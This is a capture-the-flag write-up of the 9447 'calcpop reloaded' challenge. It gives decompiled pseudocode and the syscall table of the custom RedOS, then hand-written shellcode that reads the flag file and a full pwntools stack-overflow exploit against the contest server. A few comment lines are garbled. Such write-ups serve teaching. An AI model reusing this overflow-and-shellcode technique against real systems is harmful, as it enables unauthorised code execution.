9447ctf writeup calcpop reloaded

This challenge is an exploitation challenge. A binary is given and it runs in RedOS. An operating system created for the exploitation challenges.

We first load the binary in IDA with base address 0x100000. We then reach main function at 0x1008bc. The psudeo-code of the function looks like the following

main () {  
  ... ... _ = print (v3, "Welcome to calc.exe\n", v20);
  while (1) {
      in = _;
      v7 = read_buffer (&in, 0x100u);
      if (!v7) break;
      in = v7;
      v8 = strtok (&in, 10);
      if (v8) *v8 = 0;
      in = op1;
      if (!strcmp (&in, "help")) {
      print (v9, "Type 'exit' to exit.\n", v21);
      _ =
        print (v14, "Type two numbers and I will calculate their sum\n",
           v15);
    } else {
      in = op2;
      if (!strcmp (&in, "exit")) {
          print (v10, "Exiting...\n", v22);
          exit ();
          }
      in = v11;
      tok = strtok (&in, ' ');
      op2 = tok;
      if (tok) {
          next_tok = tok + 1;
          op1 = atoi (&in);
          op2 = op1 + atoi (next_tok);
          _ = print (v17, "%d + %d = %d\n", op1);
          if (op2 == 0x31337) {
          print (v18, "Mes5 wi+h the b3st, d1e l1k3 the rest\n", v23);
          return 0;
        }
        } else {
          in = v13;
          _ = print (v13, "Missing a space; your input was %x\n", &in);
        }
    }
    }
  return 0;
}

There is no proper limit on input buffer, causing a stack overflow. Now to the fun part. The exploit, and shellcode.

First let's understand how RedOS handles syscalls. The system uses interrupt 0xff as a syscall handler which is handled by function in kernel at address 0xc0102660. Syshandler psudeocode :

int __cdecl  
syscall_handler (struct_a1 * args)  
{
  int result;                   // eax@3
  if (args->stat > 0x15u)
    {
    UNKNOWN_SYSCALL:
      printk ("unknown syscall:\n");
      result = dbg ((int) args);
      args->stat = -1;
    }
  else
    {
      switch (args->stat)
        {
        case 0:
            ..........
          goto UNKNOWN_SYSCALL;
        case 1:                // read
          result = sys_read (args);
          break;
        case 2:                // write
          result = sys_write (args);
          break;
        case 3:                // exit
          result = sys_exit ();
          break;
        case 4:                // spawn
          result = sys_spawn (args);
          break;
        case 5:                // yield
          result = sys_yield ();
          break;
        case 9:                // open
          result = sys_open ((int) args);
          break;
        case 0xA:              // getdirent
          result = sys_getdirent (args);
          break;
        case 0xB:              // shutdown
          sys_shutdown ();
          return result;
        case 0x14:             // shmap
          ....
          break;
        case 0x15:             // ctfdrm
          ....
          break;
        }
    }
  return result;
}

We know the flag is at /ctf/level1.flag so we need to craft our shellcode to do the following :

  • sys_open("/ctf/level1.flag")
  • sys_read content to buffer
  • sys_write buffer to file descriptor 0

and we need to make sure that no badchars in the things we send.

;; push '/ctf/level1.flag\x00'
push 1  
dec byte ptr [esp]  
push 0x67616c66  
push 0x2e316c65  
push 0x76656c2f  
push 0x6674632f  
;; fd = open("tour shellcode to do the fo/ctf/level1.flag\x00");
mov al,0x09  
mov ebx, esp  
mov cl, 1  
mov dl, 1  
int 0xff  
;; read(fd, esp, 0x36)
mov ebx,eax  
mov al,0x01  
mov ecx,esp  
mov dl,0x36  
int 0xff  
;; write(0,esp,0x36)
mov al,0x02  
xor ebx,ebx  
int 0xff  

Now we connect, solve the SHA1 challenge, send buffer, control esp,ebp,..etc and eip, then execute shellcode and get the flag. Full exploit :

Code that solves sha1:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/sha.h>

int main(int argc, char *argv[]) {  
    int i;
    char buf[21] = { 0 };
    unsigned char h[SHA_DIGEST_LENGTH];

    strcpy(buf, argv[1]);
    for (i = 0; i < 1000000000; ++i) {
        sprintf(buf + 12, "%08d", i);

        SHA1(buf, 20, h);
        if (h[19] == 0 && h[18] == 0 && h[17] == 0) {
            puts(buf);
            break;
        }
    }
    return 0;
}

Exploit :

#!/usr/bin/python
from pwn import *  
from os import system

h = 'os-uedhyevi.9447.plumbing'  
r = remote(h, 9447)  
d = r.recvuntil("\n")  
d = d.split(' ')[6]  
system("./a.out %s > out" % d) # solves the sha1  
d = open("out").read().strip()  
r.sendline(d)  
d = r.recvuntil("\n").strip().split(' ')[-1]  
r = remote(h, int(d))  
buf = "A" * 795  
buf += p32(0x7ffffee0 + 4)  
buf += "\x90" * 65  
sh = "6a01fe0c2468666c616768656c312e682f6c6576682f637466".decode("hex")  
sh += asm("mov al,0x09; mov ebx, esp; mov cl, 1; mov dl, 1; int 0xff") # fd=open(flag)  
sh += asm("mov ebx,eax; mov al,0x01; mov ecx,esp; mov dl,0x36; int 0xff") # read(1,fd,...)  
sh += asm("mov al,0x02; xor ebx,ebx; int 0xff") # write(0,buf)  
buf += sh + "B" * (915 - len(buf)-len(sh))  
buf += p32(0x7ffffee0+4)  
buf += "C" * 1024  
buf = buf[:1024]  
r.sendline(buf)  
r.sendline("201527 0")  
print r.recvall()  
}}